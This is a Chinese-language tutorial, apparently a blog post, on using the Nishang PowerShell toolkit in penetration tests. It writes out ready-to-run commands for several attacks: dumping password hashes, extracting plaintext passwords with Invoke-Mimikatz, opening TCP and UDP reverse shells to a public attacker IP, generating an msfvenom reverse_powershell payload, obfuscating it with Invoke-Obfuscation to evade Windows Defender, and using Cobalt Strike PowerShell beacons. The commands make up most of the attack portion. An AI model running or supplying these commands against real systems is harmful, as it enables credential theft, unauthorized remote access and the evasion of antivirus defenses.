PowerShell渗透测试利器Nishang怎么用
初始PowerShell,首先我们先来了解一下概念:PowerShell可以当做是cmd(bat脚本语言)的升级版,它是Windows平台上的脚本语言。是面向对象,是和 .Net FrameWork 密切相关的。也可以认为是Windows上的bash shell。Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念,从而进一步扩展了您在 Windows 命令提示符和 Windows Host 环境中获得的知识和创建的脚本。代码运行在内存中可以不去接触磁盘 很多安全产品并不能监测到powershell的活动 cmd.exe通常被阻止运行,但是powershell不会。其实我们在渗透测试过程中需要绕过一些防护软件,除了绕过脚本或者其它的工具以外,PoweShell工具其实也是一个不错的选择。比如,我们在目标主机上面用密码抓取神奇mimikatz,这款由法国大牛写的神奇相比大家都经常用,最牛逼指出是可以直接从 lsass.exe 里猎取windows处于active状态账号明文密码。但是如果免杀做的不好的话,也会直接被某免杀全家桶给直接pass。利用Powershell,攻击者可以在无需接触磁盘的情况下执行命令。下面介绍几款比较使用的工具:
Nishang简介
Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。这款工具小白在日常渗透测试中使用次数较多的一款工具。首先我们需要下载这个工具,下载的地址:https://github.com/samratashok/nishang, 下载完毕后我们可以看到以下工具里面都包括一些什么
下面我们通过特定的实验环境来演示一下渗透测试过程中常用的模块,在演示之前需要说明几个在运行powershell工具时遇到的几个比较常见的错误,比如执行脚本的权限问题、导入模块的问题等。
Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。
我们查询一下当前的执行策略是什么,Restricted是不被允许执行任何脚本的,即使你是管理员权限。我们需要修改权限,执行命令:
Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。
执行查看导入的模块中的脚本信息:Get-Command -Module nishang
列出本机的信息: Get-Information
现在我们也把执行权限修改了,下面就开始我们演示之旅吧。
密码抓取来一波
当我们拿到一台服务器的时候,我们需要知道目标主机是物理机还是虚机,执行命令:Check-VM
首先说明一下,nishang里面也集成了抓取密码的脚本,先抓取一下hash值:
#Get-PassHashes //简单直接的抓取,并显示在dos界面;
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //获取hash值并保存在自定义的文档中。
既然能抓取hash值,那我们也可以抓取明文密码,我们先看一下抓取密码的脚本,可以看出也是运用了Mimikatz这个工具,只不过是加载了Powershell的脚本里面。
我们可以用以下命令来获取明文密码:
#powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码。(最常用的命令)
端口反弹搞一波
在渗透测试中我们在做端口转发的时候遇到一系列 的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。这里除了介绍一下自带的端口转发,还实验一下配合MSF进行端口转发,都需要一台公网服务器。
1、TCP端口转发(反向连接)
公网服务器上面执行监听命令:nc -lvp 5555
目标主机执行端口转发命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555
这样我们分别在目标主机和公网上面执行命令后,公网服务器就会反弹一个shell,这样我们就可以执行内网服务器的命令。
2、UDP端口转发(反向连接)
公网服务器上面执行监听命令:nc -lup 6666
目标主机执行端口转发命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666
除了反向连接,也有正向连接,本小白在渗透测试中经常用到反向连接,如果大佬们对正向连接感兴趣的话可以去搞一搞。好了我们现在利用powershell与MSF进行端口转发,首先我们先利用命令查询一下MSF中是否有powershell这个模块:
##msfvenom -l payloads |grep ‘reverse_powershell //查询powershell模块的位置。
我们利用MSF生成一条反弹端口的一条命令:
##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,类型是Powershell,标红的一段是需要在目标主机上面执行的命令。
下一步我们在目标主机上面执行刚才生成的一条powershell命令,在公网服务器监听9999端口。这样我们就可以成功的将目标主机的shell反弹到公网服务器上面。
我们也会这样想我们如何在目标主机上面利用混淆处理绕过Windows Defender,因为我们在生成的普通的有效载荷会被Windows Defender进行查杀的,所以我们需要绕过这个检查的机制。我们就以上面的有效载荷为例子做混淆处理来绕过Windows Defender。有的时候我们将自己生成的普通的有效载荷直接在目标主机上进行运行,可能被Windows Defender直接截胡,做混淆处理的工具当属Daniel Bohannon提供的Invoke-Obfuscation了。该项目的Github页面可以找到。
首先我们先启动一下Invoke-Obfuscation这个工具:
Import-Module ./Invoke-Obfuscation.psd1 //导入Invoke-Obfuscation.psd1;
Invoke-Obfuscation //启动Invoke-Obfuscation工具;
现在我们将刚才生成的端口转发的有效载荷进行做混淆处理,我们首先看一下各种混淆的处理方式的参数:
有效载荷的哪些部分需要进行混淆,我们必须提前规定好,可以通过以下命令完成:
Set scriptblock '有效载荷';
我们选择将整个命令作为字符串进行obfuse(具体选择根据具体的渗透测试环境):
选择1进行ASCII混淆处理,我们输入out 1.ps1进行输出查看,这个命令也相当于将混淆完毕的文件保存在当前目录下,并以1.ps1:
在目标主机上面进行执行此脚本,公网服务器监听9999端口,也可以成功的反弹内网主机的shell:
powershell与cobaltstrike工具擦出不一样的火花
Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。这个工具也是一款内网渗透的利器,我们这里只是说一下powershell与Cobalt Strike能够碰触怎样的火花?
Cobalt Strike需要分别在客户端和服务器端安装,然后在启动此工具:
首先我们先监听一个端口,主机地址写公网IP地址,然后就会生成一个powershell命令,将此命令在目标主机上面运行,目标主机就会上线,然后我们就可以远程抓取密码、提权、监听等操作:
说实话这是这两个工具我在这里擦出的火花只是一点点,其余的操作还有许多,有兴趣的大佬可以去研究一下,这个工具在内网渗透中运用的比较多。
以上就是PowerShell渗透测试利器Nishang怎么用的详细内容,更多请关注其它相关文章!